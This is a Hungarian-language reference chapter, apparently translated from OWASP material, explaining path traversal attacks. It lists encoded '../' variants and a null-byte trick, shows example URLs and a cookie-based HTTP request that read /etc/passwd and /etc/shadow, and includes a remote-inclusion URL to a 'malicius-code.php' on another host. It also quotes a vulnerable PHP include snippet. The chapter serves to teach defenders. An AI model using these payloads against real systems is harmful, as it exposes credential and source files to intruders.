6.7. „Útkeresztezési támadás” (Path Traversal Attack)

6.7.1. Áttekintés

Az „útkeresztezési támadások” olyan fájlok és könyvtárak elérését célozzák, amik a hálózati gyökér (web root) könyvtáron kívül vannak eltárolva. Az alkalmazás böngészése közben a támadó olyan közvetlen hivatkozásokat keres, ami a web szerveren tárolt fájlokra mutatnak. A „ ../ ” sorozatot és  változóit tartalmazó fájlok manipulálásával lehetséges lehet tetszőleges olyan fájlhoz vagy könyvtárhoz hozzáférni, ami a fájlrendszerben van tárolva, beleértve az alkalmazások forráskódjait , konfigurációs- és a rendszer működése szempontjából kritikus egyéb fájlokat, amit csak a rendszer hozzáférési műveletek korlátoznak. A támadó “../” sorozatokat használ, hogy följebb lépjen a gyökérkönyvtárba és így lehetővé tegye a fájlrendszerben való mozgást.

Ezt a támadást egy olyan külső ártalmas kód befecskendezésével lehet kivitelezni, ami a Resource Ijection (Forrás befecskendezés) támadástípus által kitaposott ösvényt használja. A támadás kivitelezéséhez nem szükséges különleges eszközök használata; a behatoló általában valamilyen internetes fürkészt (web spider/crawler) használ, hogy felderítse az összes használható URL-t.

Ezt a támadást több néven is ismerik, például:

  1. “dot-dot-slash” („pont-pont-vesszőcske”)

  2. “directory traversal” („könyvtárkeresztezés”)

  3. “directory climbing”(„könyvtármászás”)

  4. “backtracking” („visszakövetés”).

6.7.2. Leírás

6.7.2.1. Kérelem változatok

Kódolás és dupla kódolás:

%2e%2e%2f                 jelentése        ../

%2e%2e/                 jelentése         ../

..%2f                         jelentése         ../

%2e%2e%5c                 jelentése         ..\

%2e%2e\                 jelentése         ..\

..%5c                         jelentése         ..\

%252e%252e%255c         jelentése         ..\

..%255c                 jelentése         ..\

és így tovább...

6.7.2.2. Százalékos kódolás (más néven URL kódolás) (Percent encoding (aka URL encoding))

Megjegyzés: a web tárolók egy szintnyi kódolást hajtanak végre a form-okról és az URL-ekről származó százalékosan kódolt értékeken.

..%c0%af         jelentése         ../

..%c1%9c         jelentése         ..\

Operációs rendszer specifikusan

UNIX

        Gyökérkönyvtár:  “ / “

        Könyvtár elválasztó: “ / “

WINDOWS

        Gyökérkönyvtár: “  <partíció betűjele> : \ “

        Könyvtárelválasztó: “ / “ vagy “ \ ”

Megjegyzés: a Windows engedi, hogy a fájlneveket ráadás  . \ / karakterek kövessék.

A legtöbb operációs rendszerben null bájtokat (%00) lehet injektálni a fájlnév lezárása céljából. Például a következő paraméter elküldése:

?file=secret.doc%00.pdf

azt eredményezi, hogy a Java alkalmazás úgy látja, hogy a sztring „.pdf”-el ér véget, míg az operációs rendszer úgy látja, hogy a fájl végén ".doc" áll. A támadók ezt a trükköt arra használhatják, hogy átjussanak az érvényesítő rutinon.

6.7.3. Példák

6.7.3.1. Példa 1

A következő példa megmutatja, hogy az alkalmazás hogyan bánik a használatban lévő erőforrásokkal:

 http://some_site.com.br/get-files.jsp?file=report.pdf  

 http://some_site.com.br/get-page.php?home=aaa.html  

 http://some_site.com.br/some-page.asp?page=index.html  

Ebben a példában lehetséges olyan ártalmas sztringet beilleszteni, mint változó paramétert, hogy hozzáférjünk a webes könyvtáron kívüli fájlokhoz.

http://some_site.com.br/get-files?file=../../../../some dir/some file

http://some_site.com.br/../../../../some dir/some file

A következő URL-ek a *NIX jelszó fájl kihasználásának példáját mutatják be:

http://some_site.com.br/../../../../etc/shadow  

http://some_site.com.br/get-files?file=/etc/passwd

Megjegyzés: Windows környezetben a támadó csak azon a partíción mozoghat, amin a webes gyökérkönyvtár is található, míg Linux környezetben az egész merevlemezt bejárhatja.

6.7.3.2. Példa 2

Lehetséges ezentúl külső webhelyen található fájlok és szkriptek belefoglalása is.

http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php  

6.7.3.3. Példa 3

Ez a példa azt az esetet mutatja be, mikor a támadó arra kényszerítette a szervert, hogy megmutassa a CGI forráskódot.

http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi  

6.7.3.4. Példa 4

Ez a példa a Wikipedia - Directory Traversal oldalról lett továbbgöngyölítve

A sebezhető alkalmazás kódjának tipikus példája:

   <?php
   $template = 'blue.php';
   if ( is_set( $_COOKIE['TEMPLATE'] ) )
      $template = $_COOKIE['TEMPLATE'];
   include ( "/home/users/phpguru/templates/" . $template );
   ?>
         

Ez ellen a rendszer ellen a következő HTTP kérelmet lehet támadásként használni:

   GET /vulnerable.php HTTP/1.0
   Cookie: TEMPLATE=../../../../../../../../../etc/passwd
         

A következő szerver választ generáljuk:

   HTTP/1.0 200 OK
   Content-Type: text/html
   Server: Apache
   
   root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
   daemon:*:1:1::/tmp: 
   phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
         

Az ismételt ../ karakterek a /home/users/phpguru/templates/ után azt okozták, hogy a include()  átkerüljön a gyökérkönyvtárba és tartalmazza az /etc/passwd UNIX jelszó fájlt.

A UNIX etc/passwd egy szokásos fájl arra, hogy bemutassuk a directory traversal-t, mivel a számítógépes kalózok gyakran használják arra, hogy jelszavakat törjenek fel.

6.7.4. „Abszolút útkeresztezés” (Absolute Path Traversal)

A következő URL-ek érzékenyek lehetnek erre a támadásra:

http://testsite.com/get.php?f=list
http://testsite.com/get.cgi?f=2
http://testsite.com/get.asp?f=test
         

A támadó a következő módon kivitelezhet egy ilyen támadást:

 http://testsite.com/get.php?f=/var/www/html/get.php
 http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc
 http://testsite.com/get.asp?f=/etc/passwd
         

Amikor a web szerver a webes alkalmazás hibáit tartalmazó információval tér vissza, akkor a támadónak sokkal egyszerűbb kitalálni a pontos helyet (vagyis a forráskódot tartalmazó fájlhoz vezető utat, amit aztán megjeleníthet).